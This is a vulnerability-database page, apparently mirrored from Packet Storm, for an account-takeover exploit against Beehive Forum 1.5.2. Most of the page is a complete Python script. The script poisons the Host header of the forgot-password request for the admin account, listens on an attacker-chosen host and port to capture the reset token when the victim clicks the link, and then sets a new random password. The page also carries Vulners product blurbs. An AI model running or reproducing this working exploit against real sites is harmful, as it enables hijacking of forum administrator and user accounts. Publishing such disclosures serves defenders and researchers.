Lucene search
K

Beehive Forum 1.5.2 Account Takeover

🗓️ 11 May 2022 00:00:00Reported by Pablo SantiagoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 190 Views

Beehive Forum 1.5.2 Account Takeover vulnerability allows stealing token and resetting victim's password through malicious host injection

Code
`# Exploit Title: Beehive Forum - Account Takeover  
# Date:08/05/2022.  
# Exploit Author: Pablo Santiago  
# Vendor Homepage: https://www.beehiveforum.co.uk/  
# Software Link: https://sourceforge.net/projects/beehiveforum/  
# Version: 1.5.2  
# Tested on: Kali Linux and Ubuntu 20.0.4  
# CVE N/A  
# PoC: https://imgur.com/a/hVlgpCg  
  
# Vulnerability: In the functionality "forgot password", it's possible to  
modify the Header "Host", #injecting malicious host, allowing stealing the  
token and resetting the password from a victim.#(Requires user interaction)  
  
import requests  
from bs4 import BeautifulSoup  
import socket  
import sys  
import urllib.parse  
import random  
import string  
  
endpoint = sys.argv[1]  
lhost = sys.argv[2]  
lport = int(sys.argv[3])  
hostheader = f'{lhost}:{lport}'  
url_forgot = f'http://{endpoint}/forum/forgot_pw.php'  
url_change = f'http://{endpoint}/forum/change_pw.php'  
  
def init_req():  
session = requests.Session()  
r = session.get(url_forgot)  
cookie = session.cookies.get_dict()  
cookie = cookie['sess_hash']  
soup = BeautifulSoup(r.text, 'lxml')  
hash_request = soup.input['id']  
csrf_token = soup.input['value']  
return hash_request, csrf_token, cookie  
  
def forgot_req(hash_request: str, csrf_token: str, cookie: str):  
  
headers= {  
'Host': hostheader,  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0)  
Gecko/20100101 Firefox/97.0',  
'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',  
'Cookie' : 'sess_hash=' + cookie  
}  
  
data = {  
hash_request : csrf_token,  
'webtag' : 'TEST',  
'logon' : 'admin',  
'request' : 'Request'  
}  
  
r = requests.post(url_forgot, headers=headers, data=data)  
if('You should shortly receive an e-mail containing instructions for  
resetting your password' in r.text):  
print('')  
print('[*] A mail has been sent to the victim')  
socket_req()  
else:  
print('[*] The mail has not been sent')  
  
def socket_req():  
  
print(f"[*] Listening on port {lport}...." )  
print('[*] Waitting the victim clicks in the malicious link\n')  
s = socket.socket()  
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
s.bind((lhost, lport))  
s.listen()  
(sock_c, _) = s.accept()  
get_request = sock_c.recv(4096)  
user_token = urllib.parse.unquote_plus(get_request.split(b"  
HTTP")[0][-13:].decode("UTF-8"))  
  
print("[*] Stole token: " + user_token)  
change_pw(user_token)  
  
def change_pw(user_token: str):  
c = string.ascii_letters + string.digits  
password = ''.join(random.choice(c) for _ in range(6))  
hash_request, csrf_token, cookie = init_req()  
headers= {  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0)  
Gecko/20100101 Firefox/97.0',  
'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',  
'Cookie' : 'sess_hash=' + cookie  
}  
data = {  
hash_request : csrf_token,  
'webtag' : 'TEST',  
'u' : '1',  
'h' : user_token,  
'pw' : password,  
'cpw' : password,  
'save' : 'Save'  
}  
  
r = requests.post(url_change, headers=headers, data=data)  
if('Your password has been changed' in r.text):  
print(f'[*] The password has been changed to: {password}')  
  
else:  
print('[*] The password has been changed')  
  
  
hash_request, csrf_token, cookie = init_req()  
forgot_req(hash_request, csrf_token, cookie)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
190